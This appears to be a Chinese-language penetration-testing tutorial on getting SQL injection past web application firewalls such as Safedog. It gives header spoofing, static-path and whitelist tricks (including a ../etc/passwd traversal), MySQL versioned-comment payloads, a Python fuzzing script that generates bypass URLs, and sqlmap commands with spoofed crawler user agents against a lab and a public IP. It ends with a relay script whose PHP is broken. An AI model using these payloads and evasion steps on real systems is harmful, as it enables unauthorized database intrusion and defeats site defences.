目录
攻防实战中需要多加掌握各构件特性(不同数据库特性、不同Waf软件特性、不同服务器特性、应用层),以构造更灵活精准的payload,从而绕过各种Waf,进行漏洞利用。
白名单绕过的几种方式
方式一:IP白名单
实战意义不大,前置条件过多(怎么获取目标的IP白名单列表?怎么确定目标数据包的接受方式?)或者可以伪造目标的IP造成自己访问自己的假象,看是否会被拦截。
X-forwarded-for
X-remote-ip
X-originating-ip
X-remote-addr
X-Real-ip
方式二:通过把Payload伪装成静态资源的参数绕过
静态资源:.js .jpg .txt .swf .css等,把payload伪装成参数拼接在这样的静态资源后面,也许可以成功绕过。
http://10.9.9.201/sql.php?id=1 and 1=1
http://10.9.9.201/sql.php/1.js?id=1
http://10.9.9.201/index.php/1.txt?id=1
Aspx/php 只识别到前面的.aspx .php 后面基本不识别
方式三:url白名单
为防止误报拦截,部分waf会内置类似的白名单列表,如admin/manager/system等管理后台,只要url中存在白名单内的字符串就不予拦截。
http://10.9.9.201/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../manage/../sql.asp?id=1
Waf只要url中有/manage/可能就认为是白名单不予拦截。
方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:1.根据UserAgent;2.通过行为来判断。
useragent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher (Firefox 附加组件)
下载地址: https://addons.mozilla.org/en-Us/firefox/addon/user-agent-switcher/
安全狗有爬虫白名单,这种情况下伪装成白名单内的User-agent可能就可以伪装payload成功绕过,下为python代码示例,这里是伪装成了百度爬虫,ph1p.txt是payload字典:
哪怕请求频率很高,因为在白名单,没有被WAF拦截,网页正常显示,并且文件探测结果也是正确的(200、404)。如果触发关键字,waf就认作是搜索引擎的爬虫
mysql特性之/!*50001/
/*!50001 select * from test */; 这里的50001表示:假如数据库是5.00.01以上版本,该语句才会被执行。 %20union%20/*!44509select*/%201,2,3 /*!44509select*/:通过插入版本号(4.45.09), 绕过检测机制 %20/*!44509union*/%23x%0aselect%201,2,3 id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号 %20union%20all%23%0a%20select%201,2,3%23
结合上述mysql特性编写Fuzz脚本尝试绕过
import requests, time url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union' select='select' num='1, 2, 3' a=['%0a','%23'] # 干扰字符 aa=['x'] # 干扰字符 aaa=['%0a','%23'] # 干扰字符 b='/*!' c='/!' def bypass(): for i in a: for j in aa: for k in aaa: for two in range(44500,44600) : # 当前版本最高编号 urls = url + i + j + k + b + str(two) + union + c + i + j + k + select + i + j + k + num try: result = requests.get(urls).text len_r = len(result) if(result.find('safedog') == -1): print('bypass url address: ' + urls + '|' + str(len_r)) if len_r == 715: fp = open('url.txt', 'a+') fp.write(urls + '\n') fp.close() except Exception as err: print('connection error') time.sleep(0.1) if __name__ == '__main__': print('fuzz started') bypass()
sqlmap & Waf 孰强孰弱
没开安全狗,sqlmap是正常跑的;打开安全狗,sqlmap因为跑完一次就有注入点的缓存文件,没有被拦截,但把缓存(ip地址命名的文件夹)一删,再跑就被拦截了。
实战中必须用到工具,如何利用工具的同时还能避开Waf?需要用到sqlmap特有的自带的插件库 tamper
脚本都是绕过CTF的一些规则,不是绕过市面上Waf的。。
自己模仿tamper中现成的.py文件尝试写绕过脚本也大概就是这样,修改一下payload处的写法,把你曾经用过的、见过的、知道有用的一些payload写进脚本,疯狂滴替换。。
可以开启代理再开启burpsuite看一下sqlmap的数据包是怎么写的,进行分析:
F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888
抓到第一个数据包长这样:注意到 User-Agent:sqlmap/1.4.7.5#dev(http://sqlmap.org)
打开网站安全狗看防护日志,看到此条拦截及其原因:HTTP头部含有sqlmap/1.4.7.5#dev(http://sqlmap.org),那就改这里就好了,加上 --random-agent 是sqlmap自带的随机头部代理。
结合抓包可以对注入失败进行有效分析。
F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --random-agent
结合上述爬虫白名单,还可以改成baiduspider的user-agent: --user-agent="Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"
F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --user-agent="Mozilla/5.0(compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)"
如果请求过快被拦截,可以加上 delay 1 隔1秒发1次数据包:
F:\Tools\sqlmapproject-sqlmap>python sqlmap.py -u "http://39.96.44.170/sqlilabs/Less-2/?id=1" --tamper=xxx.py --proxy=http://127.0.0.1:8888 --delay 1
还有一种比较复杂的就是代理池,拦截一个IP换一个IP,要用Python写一个代理池抓取,再实现注入,网上也有批量抓代理池的工具
工具拦截处也有对sqlmap、穿山甲、nmap工具的拦截规则:
sqlmap脑洞一下
刚刚Sqlmap工具之所以被拦截是因为数据包的User-Agent部分有指纹头,安全狗匹配到。通过 --random-agent 命令参数成功规避。
如果、假设,指纹头出现在数据包别的地方,别的sqlmap不能通过启动时的参数设置修改的地方,比如Accepted-decoding,但注入语句只在头部 GET /sqlilabs/Less-2/?id=... 出现,如何批量生成可以绕过数据包内部(比如Accepted-decoding处)检测的payload数据包?
只能自己写【中转脚本】或者把注入语句写到txt里跑。
新建3.txt把数据包写好(此处更换了baiduspider的user agent)放到sqlmap目录下再启动sqlmap,注明参数 --r 3.txt:即以数据包的形式发送 3.txt 里的内容。
python sqlmap.py -r 3.txt --tamper=xxx.py --proxy=http://127.0.0.1:8888 --tables
同理,要改哪就在 3.txt 里改就完事了,改其他地方(Accept、Accept-Encoding、……)
类似第17天提及的中转注入
示例脚本:
<?php $url='http://xxxx/job_bystjb/yjs_byszjs.asp?id='; $payload=base64.encode($_GET['x']) echo $payload; $urls=$url.$payload; file_get_contents($urls); echo $urls; ?>
- sqlmap注入本地搭建的服务器中转脚本
- 中转脚本只做一件事,接收sqlmap注入过来的payload,并根据代码配置进行自定义修改
- 将payload与目标地址进行拼接请求该远程URL